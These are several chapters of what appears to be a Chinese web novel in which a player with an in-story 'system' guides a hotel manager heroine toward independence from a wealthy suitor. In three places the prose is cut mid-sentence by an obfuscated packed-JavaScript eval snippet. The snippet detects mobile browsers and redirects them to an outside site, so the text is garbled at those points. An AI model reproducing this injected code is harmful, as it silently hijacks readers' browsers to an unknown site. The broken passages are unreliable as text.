“哦。”夏星澜愣了一下,下意识答应。 姜婋拉住另外两边,两个人从四个角一点点朝中心摸索,直到彼此触碰到对方的手。 夏星澜故意不看她,却低声问:“你怎么来了?” 姜婋:“因为你需要帮助。” 夏星澜终于抬起头:“我的意思是,你是客人,没有必要帮我做这些的。” “我是客人,但我也是女人。” 姜婋看着她的眼睛:“一个女人需要帮助,另一个女人来帮忙,这需要什么理由吗? 夏星澜对上姜婋的视线,木讷地摇摇头。 姜婋抽出下一条被罩:“别愣着了,快找吧。” 轰鸣声与蒸汽交织在洗衣房里,湿润的空气像一层无形的面纱,笼罩在整个空间。 她们肩并肩跪在床单堆里翻找,汗水顺着额角滑下。 夏星澜注意到姜婋汗湿的鬓发,默默递上手帕。 姜婋接过,擦着汗,忽然开口道:“昨天晚上……对不起啊,我不该对你发火。” 一句简单的道歉,掀开了二人之间那道无形的面纱。 夏星澜眼眸微动,其实昨晚与其说她是在生婋婋的气,不如说,是在生自己的气。 “我也有错,那些气话,并不是我的真心话……” 姜婋顿了顿,眨着大眼睛道:“夏星澜,你做的已经很好了。” 这一句话,让夏星澜心头一震。 她不知道姜婋为什么突然这么说,但这句话又有一种神奇的魔力,好像一股温暖的春水融化了心底冰封的河床,那些过往的伤口也好似被顷刻间抚平,以至于阵阵作痒,泛起酸涩。 就在夏星澜不知该作何反应时,姜婋朝她伸出小拇指。 “那我们拉钩,不许生对方的气了,也不要再说违心的话了,好吗?” 夏星澜虽然觉得幼稚,但还是勾住手指,轻轻晃了两下。 姜婋咧嘴一笑,夏星澜发现她好像有个小虎牙,难怪她说她的小名是母老虎勇猛咆哮之意,怪可爱的。 “对了。”姜婋一收笑意,语气认真:“刚刚洗手间那些人说的话,你别往心里去。” 夏星澜低声“嗯”了一句,“我也没想到,我爸会突然出现……” “那你怎么应付的?” “凌总帮我垫付了一笔钱。” “啊?” 姜婋瞬间怒了:“这个凌昊天真是成事不足败事有余!一旦被你父亲发现你是个提款机,肯定会变本加厉缠上你,这样反而让你更危险。我要是你,我才不给他一分钱,甚至还要把之前给的钱全抢回来——” “可他毕竟是我爸爸……” “但他并没有承担父亲的职责。这样的人,不配你叫他‘爸爸’。” 夏星澜低头:“我爸确实不是称职的父亲,我也问过我妈妈会不会后悔嫁给他?但是我妈妈没有正面回答我,她说我会遇到一个真正爱我的人。” 她抬起眼睛,有些茫然:“可我找了很久也没有找到,有时候我在想是不是我的要求太高了?” 姜婋一把扶住她的肩膀,目光坚定:“不是你要求太高,是你标准不够高!你一旦降低标准,那你吸引来的就是那些还活在清朝的男人。这样的男人怎么有能力去爱那个最真实的你呢?而且,相比于等待遇见那个所谓的真正爱你的人,你首先要去拥抱这个真实的你自己。” 夏星澜怔怔地看着她。 “还记得你和我说过,你觉得你配不上凌昊天,但在我看来是凌昊天根本就配不上你!” “怎么可能呢……”夏星澜觉得不可思议。 “怎么不可能?” 姜婋认真道:“凌昊天拥有的一切,全是靠他母亲。他没了家庭资源,还不如你一根头发丝强呢!如果你跟凌昊天在同一水平线上,他绝对无法超越你。他占据了那么好的资源,也就长成现在这个怂样。但你不一样,你坚强勇敢有韧劲,没有原生家庭的托举,依然可以活成今天的样子,你已经非常了不起了。” “我哪有你说的这么好?” 夏星澜挽了挽额前被汗水沾湿的头发:“我要是真的这么厉害,还会此刻在洗衣房里加班,找客人丢掉的耳钉吗?” “那又怎么样,我们不是在努力解决问题吗?如果换做凌昊天的话,他一定会直接赔钱,霸总才不会屈尊来洗衣房受罪呢!” 夏星澜叹气:“可是我们找了这么久,会不会根本不在这儿?” “客人的衣服里找了吗?” “房间里的衣服都找遍了,没有。” “我说的是——” 姜婋指向杆子上挂的一排等待干洗的衣服,“客人拿过来干洗的衣服。” 夏星澜表情一变,立刻核对记录:“这位客人确实在昨天送来一件衣服。” 她按编号翻找,是一件西装外套。 夏星澜伸手摸进西服口袋,顿时眼神一亮。 姜婋忙问:“找到了?” 夏星澜摇头,“没有,西服的口袋破了个洞……” “那会不会掉进衣服的夹层里了?” 两个人沿着衣服不停地摸索,终于在衣摆里面摸到两个坚硬的小颗粒。 夏星澜把手指伸进漏洞,用了好大力气才掏出来,定睛一看,正是那对熠熠生辉的钻石耳钉! “终于找到了!” 一瞬间,两人激动地紧紧拥抱在一起,几乎都要喜极而泣了。 姜婋看着耳钉感叹:“真没想到我们找了这么久,它就在客人自己的衣服里。” 夏星澜奇怪,“这衣服看起来很贵的样子,口袋怎么会坏呢?” 姜婋吐槽道:“因为这个世界上的女装设计极其不合理,女装要么没有口袋,要么口袋又浅又不结实,非要让我们拿一个包,导致我们的双手没有办法自由活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611997|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。再贵的品牌,也只会把‘观赏性’放在第一位,而不是我们的舒适度。就像你这套工作服一样,又紧又勒,根本就不舒服吧?” 夏星澜扯了扯自己的衣服,确实勒得难受,丝袜不知什么时候还刮破了。 她想了想道:“可是客人的衣服坏了,我要不顺便把它补好吧?” “别!” 姜婋拦住:“你的任务只是找到这个耳钉,况且这本来就是清洗人员的疏忽,如果他们收到衣服后仔细检查,发现了口袋里的漏洞,我和你也不至于在洗衣房找这么久吧。每个人都要为自己的工作负责,他们的错误,你就别来承担了。” “可是……” “夏星澜,你不需要去照顾所有人的情绪,你把你的心力都放到了这些地方,你会很累的。被人叫做‘24h on call’的夏经理,你还真把自己当超人啊。难道你不累吗?” 姜婋说着就推夏星澜往外走,“好啦,找了这么久,我们该去休息了。” 两个人走出洗衣房,才发现外面已经日落了。 远处的树林融入暮色,余晖倾洒在小花园,将新种的戴安娜玫瑰照亮。 夏星澜走过去,蹲下身,玫瑰花苞在夕阳的映衬下,像一个个小火山在沉默中燃烧。 “这不是凌昊天用来每天骚扰你的戴安娜玫瑰吗?”姜婋走过来问。 夏星澜起身道:“其实这并不是我喜欢的花,而是我母亲喜欢的。” 姜婋小声道:“系统,快帮我查一下戴安娜玫瑰的花语。” 系统:“收到。” 夏星澜奇怪地问:“你说什么?” “没什么……那你知道它的花语吗?” “玫瑰花的花语应该都是浪漫爱情之类的吧。” “戴安娜玫瑰不太一样哦。” 姜婋接收到系统的提示,笑道:“戴安娜是古罗马神话中月亮女神的名字,她是女性力量的象征。你母亲喜欢这种花,说明她是一位坚强、优雅,充满力量的女性。” “我都不知道原来这花还有这层含义。” 姜婋突然灵机一动,朝夏星澜道:“你闭上眼睛,我给你变个魔术。” 夏星澜有点意外,但还是期待地闭上眼眸,只听姜婋在她耳边柔声道—— “夏星澜,你母亲说你会遇到一个真正爱你的人,现在我知道这个人是谁了。” 夏星澜眼珠微动,疑惑地蹙了蹙眉:“谁?” “我数三二一,你睁开眼睛,就能看见了。” “三……” “二……” “一……” 夏星澜倏地睁开眼睛,在一块破碎的反光玻璃中,看见了自己的脸。 姜婋举着玻璃笑道:“你有没有想过,你母亲说的那个人或许就是你自己呢?与其等待出现这么一个不存在的人,不如相信这个人就是你。 “就像刚才我们俩一起寻找的钻石耳钉,找来找去,原来它就在主人自己的兜里,只不过那个兜破了个洞。 “夏星澜,你要找的人一直就是你自己,或许你的心也破了个洞,而那个缺口只有找到真正的自己才能补全。” 这番话令夏星澜心跳加速,但却与她和凌昊天在一起时的那种浪漫悸动不同,这是只属于她一个人的心动时刻。 忽然,一阵风拂面而来,花坛中含苞待放的玫瑰竟瞬间绽放。 “您在天有灵,请指引我找到那个人好吗?” 夏星澜看着玻璃中的自己,眼神逐渐坚定。 她想,她已经找到了那个困扰已久的答案。 12. 12 罗曼蒂克庄园酒店顶层的旋转餐厅,是最难预约的场地。 预约成功的客人将会收到酒店定制的邀请函,而今天,顶楼的旋转餐厅只为一个人开放。 这封盖着酒店LOGO的火漆印章邀请函,经工作人员的手,穿越每一层楼,在所有人的注目中,送到了夏星澜的手上。 这是凌昊天无声的宣誓,顶楼旋转餐厅今晚只属于夏星澜,而夏星澜只属于凌昊天。 他想用普通人无法购买的特权让夏星澜臣服,没有人能拒绝这种“惊喜”。因为大部分女人这一生都没有尝试过“特权的滋味”,这会让她们产生一种错觉,仿佛自己也拥有了权力,但其实自己只是他人权力的一部分展示。 凌昊天为了让夏星澜能够以最好的状态度过自己的生日,他特意大手一挥,让她放假一天。还送上精致的礼服和那双水晶鞋,找来顶级的化妆团队,只为让夏星澜成为今夜最美丽的女人。 ——“可是谁来定义这种美呢?” 姜婋朝系统说道:“几乎每一部言情小说里,都会有喜闻乐见的女主角变身情节。她像一个娃娃,被穿上各色并不舒适的精致服装,一次次走出更衣室,一次次面对男主角或欣赏、或摇头、或皱眉的点评,最后留下那件让男主点头的衣服。那件或许不是女主角最喜欢的,但一定是男主角满意的。” “系统,你知道吗?” 她自嘲一笑:“我小时候特别期待这种剧情,幻想自己也像女主角一样瞬间变美,但我却在无意识中带入了男主的眼睛,用男性的评价来定义什么是美……” 这时候,姜婋的身后传来一阵惊呼。 原来是夏星澜走出了化妆间,她穿着华丽的礼服,化着精致的妆容,踩着那双故事一开头就出现的水晶高跟鞋。 是的,《灰姑娘的逆袭》这本小说也未能免俗,用近乎两页的篇幅来刻画夏星澜变装的过程。 在众人的赞叹声中,夏星澜有些不太好意思,她的目光越过所有人,看向了姜婋,然后朝她羞赧一笑。 夏星澜踩着高跟鞋有些不稳地走过来,悄声道:“婋婋,她们的反应太夸张了,我相信你的眼光,你觉得这件衣服怎么样?” 她说着往上拉了拉抹胸的边缘:“我没有胸……穿这条裙子会不会奇怪?” 姜婋没有回答这个问题,而是反问:“什么叫你没有胸?” 夏星澜愣了愣。 姜婋道:“胸只是一个器官而已。可大家都习惯了只有胸部脂肪厚的人才叫‘有胸’,但这其实是男人对女人的凝视。你不要用外界的评判标准来审判自己的身体,□□跟我们的心、肝、脾、肺、肾一样,都是我们的器官。” 夏星澜吐了下舌头:“我知道了,以后不会再这样说了。不过这么多衣服我都挑花了眼,你觉得哪一件衣服最好看?” 姜婋问:“你穿哪一件最舒服?” 夏星澜抿唇:“都不舒服。” “那就无所谓了,反正都是Cosplay……” “Cosplay?” “对啊,你今天不是就要Cosplay,扮演‘女人’吗?” “我本来就是女人啊。”夏星澜不解。 “可你平时从来都不会这么穿,为什么偏偏今天这么穿呢?” “我……” “其实我以前也是,只有在恋爱的时候才会穿上平时不穿的裙子,化上平时不会化的妆。” 姜婋回忆起来,“不过我每次看到这样的自己,都觉得不像我自己了,但是恋爱对象看到我这样就会眼前一亮,夸我好漂亮。但我脑子里就会打一个问号,现在的我不也是平时的我吗?对方真的觉得我漂亮吗?还是对方觉得我这样更符合社会定义的漂亮女孩?” 她说着叹了口气:“不过,如果是现在的我,我会选择最舒适的衣服去约会,这样我才能舒服地做自己。” 夏星澜觉得她说的有道理,但转言道:“可是去顶楼的旋转餐厅,如果穿得太随意的话,也不太符合场合吧。” “任何场合和规矩,都没有你的快乐重要。” 姜婋看着她反问:“夏星澜,你快乐吗?” 夏星澜点点头。 “那就在这些裙子里面挑一件能让你快乐的吧!” 夏星澜拉了拉抹胸:“那就这件吧,其他几件更勒得我喘不上气。” 两人对视,捂嘴偷笑。 时,化妆师叫夏星澜去做头发。 夏星澜离开后,系统忽然出声:“玩家,我以为你会阻止夏星澜跟凌昊天一起过生日。没想到你非但不阻止,还特意陪她来挑选衣服。” “不是你点拨我的吗?不要总把我的想法强加给夏星澜。” 姜婋思忖道:“况且就算我阻止她,夏星澜也一定会去的。毕竟父权制下的浪漫爱在我们脑中存在这么久了,想要连根拔除,怎么能只靠三言两语呢。” “再说了,男主能给她过生日,我就不能吗?我会用我的方式,让夏星澜明白——我会永远站在她的身后,成为那个无条件支持她,爱她独立人格的人。” 姜婋说着,目光看向夏星澜的背影。 只见全身镜中,夏星澜的表情如此期待,就像灰姑娘即将乘坐午夜的南瓜马车,前往属于她的童话舞会。 夜幕缓缓降临,罗曼蒂克庄园华灯初上,亦如这座酒店的名字,此刻顶楼旋转餐厅光影交错,浪漫无比。 夏星澜穿着那双水晶鞋,走过旋转楼梯,来到顶楼,还未走进就闻到花香,无数戴安娜玫瑰装饰在餐厅的各个角落。 凌昊天在花中等候已久,他绅士地挽住夏星澜的手,问道:“这里有9999朵玫瑰,喜欢吗?” “怎么这么多?” “当然是为了你布置的。” 夏星澜的手轻轻抚过玫瑰的嫩蕊,不经意间,一根花刺猝不及防地扎进肉里。 短促的刺痛令她一愣,随即脑中闪过不久前的画面—— 小花园里,她远远看到花匠在烈日下弯腰种花,指甲里都是泥土,脸上全是汗水。 看来,美丽之物,都要用苦役般的劳作和汗水来浇灌。 夏星澜搓了搓泛红的指尖,轻轻叹息,却感觉呼吸不畅。 她低下头,看着被抹胸礼服死死勒住的身体,忽然意识到: 自己又何尝不是被苦役和辛苦浇灌的‘美丽之物’呢? 凌昊天牵着她,走向旋转餐厅临窗的位置。这里视野极佳,能将整个酒店尽收眼底。 夏星澜落座时,注意到桌上的餐具早已精致摆放妥当。 她忽然想起自己刚来这家酒店实习时,第一项培训就是学习如何布置这些餐盘与刀叉。每一种盘子,每一类叉子,都有着严格的摆放规则。 有一次,她因为摆错了位置,被罚折五百张餐巾,那晚做梦的时候她都在折餐巾…… 这时,服务员端来法籍主厨亲自烹饪的佳肴。 夏星澜忙了一天,其实很饿,但这件剪裁紧致的抹胸礼服令她几乎无法吞咽,仿佛多吃一口就会撑破这件裙子。 凌昊天抬眼问:“不合你口味吗?” 夏星澜连忙摇头:“没有,很好吃。” 凌昊天满意地点点头,继续从容地用餐,他的衣着毫无束缚。而夏星澜的优雅,是用隐忍和克制堆砌而成的。 夏星澜回忆起姜婋对女性服装的批判—— “再贵的品牌,也只会把‘观赏性’放在第一位,而不是我们的舒适度。就像你这套工作服一样,又紧又勒,根本就不舒服吧?” 那这件抹胸裙,不就是今晚的工作服…… 就在她走神时,胳膊不小心撞到后方正要添水的服务员,水洒了她一身。 凌昊天脸色一变:“你怎么做事的?!” 服务员连连道歉:“对不起,凌总。对不起,夏经理……” “没事儿,我擦一下就好了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611998|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏星澜也被凌昊天的脾气弄得有点不安,忙问:“你怎么这么生气?” 凌昊天瞬间换了副深情款款的模样:“我想给你一个完美的生日,一点点瑕疵都不行。” “没关系的,服务人员也是人,我也是服务人员,总会有出错的时候。” “你不是服务人员,”凌昊天凝视着她,“你是独一无二的夏星澜。” 夏星澜被他逗笑,但内心深处,却隐隐想,那个犯错的服务员,恐怕今晚会彻夜难眠吧。 因为她曾也是那个因失误而彻夜翻来覆去的“她”。 就在这时,餐厅的灯光突然暗下,伴奏乐队的旋律渐入高潮。 夏星澜正奇怪时,玻璃窗外传来“嘭”地一声,一朵绚丽的烟花骤然在酒店上空盛放。 夏星澜愣住:“酒店的烟花秀不是下个月吗?” 凌昊天笑了:“这不是酒店的烟花秀,而是只为你一个人定制的生日惊喜。” 夏星澜瞪大眼睛看向窗外,她的眼眸中仿佛盛满了星河,那朵烟花炸开的尾焰在坠落中凝成了她的名字。 与此同时,第二朵、第三朵烟花腾空炸开,光点汇聚成绽开的戴安娜玫瑰,绚烂而夺目。 紧接着,无数烟花接连而起,填满整片夜空。 即使身在顶楼,也能够听见整个酒店的客人都在欢呼、惊喜、赞叹,而这烟花是凌昊天为夏星澜一个人独家定制的。 正如今天夏星澜所经历的每一样东西,皆是美丽、易碎、昂贵。 身边的凌昊天握住她的手,俯身在耳畔道:“星澜,今天这片夜空只属于你。” 蓦地,一道巨大的金色烟花在最高处炸开,化作漫天星雨,仿佛照亮了整个旋转餐厅。 透过玻璃,夏星澜突然看到身后的工作人员正在紧张忙碌,撤掉刚才的餐盘刀叉,换上各色甜品果盘,她们根本无暇观看这场盛大的烟火。 就在这一瞬,一个服务生抬起了头,夏星澜分明看见,那个人跟自己长得一样! 顷刻间,她恍然意识到,自己并不拥有这一切,拥有一切的是站在她身边的凌昊天,方才美丽而眩晕的场景,让她误以为自己也拥有了一切…… 她始终与那群紧张忙碌的工作人员感同身受。 那才是她最真实的身份,最本能的归属。 随着最绚丽的一朵烟花如繁星般坠落,凌昊天转过身,单膝下跪,从怀中拿出丝绒礼盒,里面是一枚星芒戒指。 “夏星澜,这是我为你专门定制的,全世界仅此一枚,正如你是我心中的唯一。我希望以结婚为前提与你交往,你愿意做我的女朋友吗?” 这枚钻石太过耀眼,切割面反射出夜空中残余的烟火,璀璨得近乎不真实。 “女主必为男主心动法则”无声启动,夏星澜害羞地别过头,可目光扫过窗外,却在玻璃反光中看见惊人的一幕—— 她脖子上的钻石项链,顷刻间,化作一块寒光凛凛的碎玻璃,抵在了她的脖颈! 霎时,夏星澜寒毛战栗,她认出那正是照出自己的那块反光玻璃。 她紧张地回过头,望向凌昊天真挚的目光,觉得自己好像被架在了一把华美却锋利的刀刃上。 她不敢点头,更不敢摇头,只颤声道:“我、我愿意。” 凌昊天开心极了,为她戴上戒指,拥她入怀。 冰凉的指环套住夏星澜被玫瑰花刺伤的指尖,她用这只手,摸向脖颈,根本没有什么锋利的碎玻璃,还是那串昂贵闪耀的钻石项链。 她松了一口气。 凌昊天紧接着问:“夏星澜,你快乐吗?” 夏星澜一怔,今天姜婋问过自己同样的问题——“你快乐吗?” 她思忖着,撞上凌昊天期待的目光,最终点了点头。 可下一秒,夏星澜倏地一阵钻心刺痛,仿佛自己点头的瞬间,那块玻璃碎片就刺破了脖颈。 因为她对自己说谎了。 13. 13 从顶楼的旋转餐厅,回到前厅部休息室门前,夏星澜只觉自己好像灰姑娘,结束了一场只存在于午夜的美梦。 她深吸一口气,沉淀情绪,推开门的瞬间,只听“嘭”的一声,屋内灯光霎时亮起,彩带纷飞。 “Surprise!” 原来是姜婋正举着礼花筒,朝她咧嘴微笑。 夏星澜方才失落的情绪一扫而空:“你怎么在这里?” “当然是来给你过生日呀。还有——” 姜婋举起一个硕大的礼盒,“你快把这勒得要命的礼服脱掉,看看我给你准备了什么!” 夏星澜满怀期待,打开一看,里面放着的竟然是工作服。 “这是……工作服?” “准确的说,这是你的新工作服。” 姜婋展开衣服,“前段时间我和褚董事长提议酒店升级改造,那工作人员也应该有全新的面貌,这就是前厅部的新工作服,你看看。” “竟然是西装和裤子?” “没错。我跟董事长说,之前裙装不仅不便,还限制行动自由,她完全理解。你快试试,看有没有不合适的地方,我还可以帮你调整。” 夏星澜迫不及待地换上,衣服合身舒适,剪裁利落,呼吸一下顺畅了许多。 她把手伸进口袋,惊喜道:“口袋这么深?” “还有这儿——” 姜婋展示道:“西服后面还有一个大口袋,可以装你的对讲机,之前你用手拿着也不方便,还总容易丢。” “谢谢你,婋婋。” “哎,这件事多亏了褚董事长支持,你就当做这是她送给你的生日礼物!” 姜婋笑得神秘,又拿出一个盒子:“我还有一份礼物,你先坐下。” 她半跪下来,帮夏星澜脱下那双磨脚的水晶高跟鞋。 “你每天要站好久,小腿都肿了。我跟董事长提议,让前厅部所有女性从明天开始穿平底鞋工作,她同意了。这双鞋,是我提前给你买的。” 夏星澜怔住,已经不知道该说什么了。 姜婋低头替她穿上新鞋:“虽然有个说法是,不要送喜欢的人鞋子,会让她越走越远。但是夏星澜……我真心希望你能走远,去所有你想去的地方。” 二人相视一笑,沉默里,是一种被理解和被看见的欣喜。 姜婋轻声说起:“我小时候特别喜欢看一部偶像剧叫《流星花园》,直到我长大以后,我才发现让女主角杉菜陷入危险的,其实是男主角道明寺,真正救了杉菜的是道明寺的姐姐道明庄。 “因为道明寺之所以喜欢上杉菜,是他觉得杉菜很像他姐姐,但如果道明寺没有这个姐姐的话,那他就会一直霸凌杉菜,让她退学甚至自杀! “这部剧里,我喜欢的情节都发生在女性与女性之间,里面有一幕是,藤堂静在杉菜被人欺负时,送了她一双鞋。藤堂静当时那句话我记了好久,她说,‘一双好鞋会带女人去更好的地方。’ “长大之后我才明白,带我们去好地方的不是鞋子,而是我们自己。哪怕是一双便宜的鞋,我们也可以去很远的地方,只要那双鞋对你来说是舒适的、合脚的。” 夏星澜握住姜婋的手:“婋婋,谢谢你为我准备这些!” 她现在这一刻才突然意识到,一双平底鞋,一件舒服的工作服,或许才是她真正需要的。 姜婋反握住她的手:“我不要你谢我,我只希望你自由、快乐,做你自己。生日快乐,夏星澜。” 她说着,指尖碰到夏星澜的星芒戒指。 夏星澜犹豫道:“我……刚刚答应了凌总的告白。” 姜婋愣了一下,问她:“那你开心吗?” 夏星澜低头摸着戒指,轻声道:“说不清楚。有点开心,也有点慌。我知道你不希望我跟凌总在一起……” “我之前拦着你,并不是因为我喜欢凌昊天,而是因为我喜欢你。” 姜婋语气温柔道:“但我后来发现,如果我把我的想法强行灌输给你,这样跟凌昊天也没有什么区别,只是希望你能够服从我罢了。” 她说着抚住夏星澜的肩头:“我是真的希望你能够开心地做自己,把自己的需求放在第一位。我之前每一次跟你讲大道理,其实都是为了告诉你一件事——在这个权力结构并不平等的世界里,如果你没有自我觉醒和自我保护意识的话,跟任何人谈恋爱或进入婚姻,都等于裸奔上战场。” “我知道你是为了我好,但其实凌总对我很好的,他还给我准备了烟花呢……” 姜婋摇头轻笑:“你看,你还叫他凌总,说明你还是把他当成领导,当做是一个你要服从的人。” “才不是!” “嘶”—— 夏星澜脖颈一阵刺痛,好像又被那块碎玻璃扎了一下,她伸手去摸,可脖子上什么都没有。 姜婋忙问:“你怎么了?” 夏星澜慌张地打开自己的抽屉,见那块碎玻璃正好好的放在里面。 “奇怪……” 她撩起头发:“婋婋,你帮我看看,脖子上是不是有什么东西在扎我?好疼……” 姜婋立刻查看,“什么也没有啊?没有伤口,也没有红肿,是不是睡落枕,脖子抽筋了?” 夏星澜摇摇头:“难道是我的幻觉?” 她拿起那块碎玻璃,只见里面倒映着自己。 陪夏星澜过完生日,回程路上,姜婋低声问系统。 “夏星澜好像很在意那块碎玻璃,她还说有东西刺她的脖子,这是怎么回事?” 系统:“是她自己在扎自己。” “什么意思?” 系统:“因为女主角在你的帮助下觉醒了「我本位」认知,意识到这个世界上最爱她的人是她自己,但这与浪漫爱世界的「女主必为男主心动法则」互斥,所以,每次她说出违心的话欺骗自己的时候,都会被自我意识刺伤,感受到疼痛。” “这是原小说里,女主的人物设定吗?” 系统:“并不是。反而是女主角开始挣脱原本的人物设定了。每一次她试图挣脱「女主必为男主心动法则」时,就会感受到钻心疼痛,这大概就像你们人类所说的蜕变和成长。” 姜婋眼神放光:“太好了!她终于要挣脱这个狗屁心动法则了,那是不是说明,我也快闯关成功了?” 系统:“玩家,你也不要高兴的太早。也会有人因为受不了这种成长的疼痛,反而退缩到舒适区,接受既定命运。而且,这是大多数人的选择。” 姜婋眉头紧锁,思忖半晌道:“我相信夏星澜。” 自从上次姜婋在会议上,提出了罗曼蒂克酒店的改造宣传方案,褚董事长便将这个重任交给了她和凌昊天共同推进。 不仅如此,褚董事长还任命姜婋为“焕新计划”的专项组长,由凌昊天牵头,协调各部门配合,完成酒店宣传片的拍摄和中餐厅的改造。 好消息是,姜婋苟在了这个故事里,逃脱下线危机。 坏消息是,她得当牛做马,完成褚董事长安排的工作。 但这对于她来说问题不大,毕竟她读博期间,就是她导师的“掌事宫女兼头号大太监”。 但是,计算机专业的姜婋,完全不懂酒店经营,对宣传也是一知半解,她不得不每晚恶补知识。 即便陪夏星澜过完生日,也得回来看专业书。 她仰天怒吼:“这浪漫爱世界,男女主的主线是谈恋爱,我一小配角搞事业!” 系统:“玩家,这是一篇2009年的言情小说,主线就是男女主谈恋爱。虽然凌昊天还有一条挽救酒店的事业线,但夏星澜,完全就是男主角的‘挂件’,除了苦情的家庭线,并没有太多个人成长。” 姜婋皱眉:“可女主要生发出人生之路,就必须要有成长。你也提醒过我,通关的重点是后半句——人生之路。但在这个女主沦为男主‘挂件’的浪漫爱世界,究竟什么才是她的人生之路呢?” 刹那间,姜婋回忆起夏星澜在后厨给她做病号餐的样子,她分明在夏星澜脸上看见一种愉悦又享受的表情。 “我一直觉得夏星澜在厨艺上很有天赋,但原小说里,只把这一点当做是她对母亲的怀念。” 她眼神一亮:“系统,请你帮我整理小说中,所有关于夏星澜做饭的描写。” “好的,玩家。” 姜婋凝目思忖:“或许我可以从这一点入手……” 次日,为了完成牛马任务,姜婋不得不和凌昊天开会。 凌昊天昨夜表白成功,此刻心情大好,他看着姜婋一脸上班如上坟的表情,得意道:“你这模样,是为我吃醋了?” 姜婋翻了个白眼。 “你得面对现实,我和夏星澜已经在一起了,白潇潇,你别再幻想了,我是不可能喜欢你的。” 姜婋知道在“男主光环buff附体法则”之下,她和凌昊天认真讲道理没有用,只得用魔法打败魔法! 她顿时戏精上身:“哟,小昊天,别这么绝情嘛……” 凌昊天顿时一身鸡皮疙瘩:“注意称呼,我现在可是有女朋友的人。” “那你希望我叫你什么?小登登?妈宝男?” “你说什么?” “难道不是吗?我看上次开会的时候,你见到褚董事长就像耗子见猫。” 姜婋似笑非笑:“凌昊天,你是不是从来没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611999|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反抗过你的母亲?是不是在你母亲的反对之下,你对夏星澜的爱变得更强烈了?你是不是觉得,你们俩是西方的罗密欧与朱丽叶,东方的梁山伯和祝英台?只要能够通过重重阻碍,你们就是绝世真爱?” 凌昊天脸色一僵,显然被击中了盲点。 姜婋倏地收敛笑意:“你有没有想过,你和她在一起,不是因为爱情,而是因为你需要一场‘叛逆’来证明你自己?” 仿佛是暴露了阿喀琉斯之踵,凌昊天愤怒道:“你适可而止!” 姜婋见好就收,再说多了可能就被浪漫爱世界和谐。 “小昊天,我这是在帮你认识自己,做心理治疗呢,没按小时收费,你不谢我还吼我,好怕怕哦。” “白潇潇,我看是你心理有病吧?” “我有啊。重度男权过敏症,所以这个会咱能不能速战速决?不然我一会儿犯病了,吓死你!” 她啪地一声翻开文件夹,语速快得像机关枪:“上次说的中餐厅升级,你那边进度怎么样?” 凌昊天吃瘪:“我们正在物色新的中餐主厨,有几位被选。” 姜婋看着几位主厨的简历,突然一位女性主厨闯入她的视线。 她想到昨夜制定的计划,要开启夏星澜的人生之路,或许她需要一位女性role model。 毕竟没有什么比一位女性榜样,更能激发女主内心深处的渴望了。 姜婋当时选择计算机专业,是因为看了一部电影《隐藏人物》,里面的凯瑟琳·约翰逊,被称为NASA的“人形计算机”,给她留下了深刻的印象。 后来,姜婋顺藤摸瓜,了解到世界上第一位程序员,就是一位女性,她叫做艾达·洛芙莱斯。而发明了第一个编译器的,亦是一位女性,格蕾丝·霍普,她被誉为“编译语言之母”。而如今,AI领域的教母,正是李飞飞女士。 这些女性,都是姜婋科研之路的明灯。 正如那句“感前人事更前行,怀苦闷心更苦斗”,每次实验出现bug,姜婋几近崩溃之时,只要想到那些女性前辈,就会沉下心来耐心解决。 甚至,“debug”一词,就源于格蕾丝·霍普。 有一天,她在调试设备时出现故障,发现原来是有只飞蛾卡在触点中间,导致程序出错。于是,她把程序故障统称为“bug(臭虫)”,把排除程序故障叫“debug”。 想到这里,姜婋推荐道:“这位Vicky刘不错,既是米其林摘星主厨,又获得过亚洲最佳女厨师奖。” 可凌昊天语气犹豫:“……女主厨?” “女主厨才好!还可以成为我们酒店的亮点。” 见凌昊天还是踟蹰,姜婋刺激道:“如果你定不下来,我就去和褚董事长商量,说凌总您不愿意聘请女主厨,性别歧视,不知同为女性的褚董事长作何感想?” 妈宝·凌昊天可不想与母亲产生冲突,他懒懒道:“其实选谁做主厨对我来说,都无所谓。让酒店扭亏为盈,我有我的办法。” 姜婋当机立断:“那就选这位Vicky刘,我来和褚董事长沟通。接下来是宣传片,导演定了吗?” “通过投稿盲选了一位国外广告导演。”凌昊天把资料甩过来,“这是他的方案。” 姜婋翻阅起来:“是以酒店员工为拍摄主角……还不错。前厅部的话,不如就找夏经理吧?” “我不同意。” “你凭什么不同意?” “因为夏星澜现在是我的女朋友。” “所以呢?” 姜婋冷笑:“就算你是她爹,你也说的不算!夏星澜愿不愿拍摄,我会亲自去问她本人的意见。” “你——” 姜婋直接打断:“那这位导演什么时候来?” 凌昊天看了下时间:“应该就是今天。” 航行的飞机上,广播正在提醒乘客:“我们的飞机预计将于30分钟后抵达S市……” 